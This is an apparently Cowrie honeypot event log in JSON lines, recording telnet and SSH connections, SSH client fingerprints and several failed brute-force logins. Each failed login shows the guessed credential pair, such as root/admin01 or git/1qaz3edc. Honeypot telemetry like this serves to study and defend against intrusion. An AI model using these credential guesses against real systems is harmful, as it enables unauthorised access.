{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60916,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fb50313abf6","protocol":"telnet","message":"New connection: 161.97.105.174:60916 (159.203.135.109:23) [session: 2fb50313abf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:17.977971Z"}
{"eventid":"cowrie.session.closed","duration":34.975693702697754,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:18.002179Z","src_ip":"161.97.105.174","session":"0ea1d5aab2aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":34126,"dst_ip":"159.203.135.109","dst_port":23,"session":"aef330b8ccf1","protocol":"telnet","message":"New connection: 161.97.105.174:34126 (159.203.135.109:23) [session: aef330b8ccf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:18.459262Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":34132,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ec1ec4f7a3e","protocol":"telnet","message":"New connection: 161.97.105.174:34132 (159.203.135.109:23) [session: 2ec1ec4f7a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:19.261922Z"}
{"eventid":"cowrie.session.closed","duration":33.40271234512329,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:20.451954Z","src_ip":"161.97.105.174","session":"8aa5f7a423ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.656099557876587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:20.566701Z","src_ip":"161.97.105.174","session":"83993798ba2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":34140,"dst_ip":"159.203.135.109","dst_port":23,"session":"732ff388671b","protocol":"telnet","message":"New connection: 161.97.105.174:34140 (159.203.135.109:23) [session: 732ff388671b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:23.967469Z"}
{"eventid":"cowrie.session.closed","duration":33.39043188095093,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:24.083958Z","src_ip":"161.97.105.174","session":"8d04ac9db34a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.490596771240234,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:24.798501Z","src_ip":"161.97.105.174","session":"e329fdc9d990","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.25428867340088,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:26.205279Z","src_ip":"161.97.105.174","session":"53caa5dbb720","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37748,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d033551677a","protocol":"telnet","message":"New connection: 161.97.105.174:37748 (159.203.135.109:23) [session: 8d033551677a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:30.622295Z"}
{"eventid":"cowrie.session.closed","duration":35.29138374328613,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:31.467336Z","src_ip":"161.97.105.174","session":"92c805c3ed8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":34750,"dst_ip":"10.17.0.5","dst_port":22,"session":"a551bbbc05c6","protocol":"ssh","message":"New connection: 152.32.130.174:34750 (10.17.0.5:22) [session: a551bbbc05c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:32.163036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:32.167757Z","src_ip":"152.32.130.174","session":"a551bbbc05c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:32.383825Z","src_ip":"152.32.130.174","session":"a551bbbc05c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37754,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fbb961cbc70","protocol":"telnet","message":"New connection: 161.97.105.174:37754 (159.203.135.109:23) [session: 3fbb961cbc70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:33.103803Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin01","message":"login attempt [root/admin01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:33.277407Z","src_ip":"152.32.130.174","session":"a551bbbc05c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:34.496078Z","src_ip":"152.32.130.174","session":"a551bbbc05c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37766,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2c916a1823a","protocol":"telnet","message":"New connection: 161.97.105.174:37766 (159.203.135.109:23) [session: c2c916a1823a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:34.842698Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":36058,"dst_ip":"10.17.0.5","dst_port":22,"session":"83f2f5b031ae","protocol":"ssh","message":"New connection: 202.125.94.71:36058 (10.17.0.5:22) [session: 83f2f5b031ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:35.313249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:35.318154Z","src_ip":"202.125.94.71","session":"83f2f5b031ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:35.581667Z","src_ip":"202.125.94.71","session":"83f2f5b031ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"admin123","message":"login attempt [testing/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:36.668771Z","src_ip":"202.125.94.71","session":"83f2f5b031ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:37.935271Z","src_ip":"202.125.94.71","session":"83f2f5b031ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.828598737716675,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:39.124141Z","src_ip":"161.97.105.174","session":"677ee0384db9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.05642485618591,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:40.941246Z","src_ip":"161.97.105.174","session":"8e9e8f3ba2fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42838,"dst_ip":"159.203.135.109","dst_port":23,"session":"e243bff1b540","protocol":"telnet","message":"New connection: 161.97.105.174:42838 (159.203.135.109:23) [session: e243bff1b540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:44.671567Z"}
{"eventid":"cowrie.session.closed","duration":36.14848756790161,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:45.476991Z","src_ip":"161.97.105.174","session":"c9852fd5da77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.489646673202515,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:47.173995Z","src_ip":"161.97.105.174","session":"797f97ea93d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42840,"dst_ip":"159.203.135.109","dst_port":23,"session":"36513cad783f","protocol":"telnet","message":"New connection: 161.97.105.174:42840 (159.203.135.109:23) [session: 36513cad783f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:47.464957Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42846,"dst_ip":"159.203.135.109","dst_port":23,"session":"03f1f32b6ff6","protocol":"telnet","message":"New connection: 161.97.105.174:42846 (159.203.135.109:23) [session: 03f1f32b6ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:48.358440Z"}
{"eventid":"cowrie.session.closed","duration":32.232511043548584,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:51.494323Z","src_ip":"161.97.105.174","session":"2ec1ec4f7a3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58368,"dst_ip":"159.203.135.109","dst_port":23,"session":"68a7972274b0","protocol":"telnet","message":"New connection: 161.97.105.174:58368 (159.203.135.109:23) [session: 68a7972274b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:53.024449Z"}
{"eventid":"cowrie.session.closed","duration":35.12892127037048,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:53.106771Z","src_ip":"161.97.105.174","session":"2fb50313abf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58374,"dst_ip":"159.203.135.109","dst_port":23,"session":"2272f060d6c2","protocol":"telnet","message":"New connection: 161.97.105.174:58374 (159.203.135.109:23) [session: 2272f060d6c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:53.230457Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58384,"dst_ip":"159.203.135.109","dst_port":23,"session":"a088e94d5480","protocol":"telnet","message":"New connection: 161.97.105.174:58384 (159.203.135.109:23) [session: a088e94d5480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:53.684375Z"}
{"eventid":"cowrie.session.closed","duration":35.41518545150757,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:53.874348Z","src_ip":"161.97.105.174","session":"aef330b8ccf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":7270,"dst_ip":"159.203.135.109","dst_port":22,"session":"050a72514e7c","protocol":"ssh","message":"New connection: 220.247.224.226:7270 (159.203.135.109:22) [session: 050a72514e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:54.691166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:54.696461Z","src_ip":"220.247.224.226","session":"050a72514e7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:54.929608Z","src_ip":"220.247.224.226","session":"050a72514e7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234admin","message":"login attempt [ubuntu/1234admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:55.885712Z","src_ip":"220.247.224.226","session":"050a72514e7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.495999336242676,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:56.463346Z","src_ip":"161.97.105.174","session":"732ff388671b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:57.118288Z","src_ip":"220.247.224.226","session":"050a72514e7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56946,"dst_ip":"159.203.135.109","dst_port":23,"session":"f03ac43e161f","protocol":"telnet","message":"New connection: 161.97.105.174:56946 (159.203.135.109:23) [session: f03ac43e161f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:58.447315Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56954,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b9573155b0d","protocol":"telnet","message":"New connection: 161.97.105.174:56954 (159.203.135.109:23) [session: 8b9573155b0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:59.108486Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56966,"dst_ip":"159.203.135.109","dst_port":23,"session":"a051cedb2abb","protocol":"telnet","message":"New connection: 161.97.105.174:56966 (159.203.135.109:23) [session: a051cedb2abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:01.527817Z"}
{"eventid":"cowrie.session.closed","duration":33.72512888908386,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:04.347333Z","src_ip":"161.97.105.174","session":"8d033551677a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.39379811286926,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:06.497466Z","src_ip":"161.97.105.174","session":"3fbb961cbc70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.816510438919067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:06.659082Z","src_ip":"161.97.105.174","session":"c2c916a1823a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":42512,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcc85f9280c9","protocol":"ssh","message":"New connection: 154.219.100.220:42512 (10.17.0.5:22) [session: dcc85f9280c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:08.173552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:08.179162Z","src_ip":"154.219.100.220","session":"dcc85f9280c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:08.391624Z","src_ip":"154.219.100.220","session":"dcc85f9280c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":50440,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c0ac51bbd87","protocol":"ssh","message":"New connection: 200.187.71.114:50440 (10.17.0.5:22) [session: 5c0ac51bbd87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:09.190976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:09.194989Z","src_ip":"200.187.71.114","session":"5c0ac51bbd87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1qaz3edc","message":"login attempt [git/1qaz3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:09.254575Z","src_ip":"154.219.100.220","session":"dcc85f9280c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:09.310349Z","src_ip":"200.187.71.114","session":"5c0ac51bbd87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37316,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0f62f0eaeee","protocol":"telnet","message":"New connection: 161.97.105.174:37316 (159.203.135.109:23) [session: d0f62f0eaeee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:09.755618Z"}
{"eventid":"cowrie.login.failed","username":"testdev","password":"testdev","message":"login attempt [testdev/testdev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:10:09.798963Z","src_ip":"200.187.71.114","session":"5c0ac51bbd87","protocol":"ssh"}
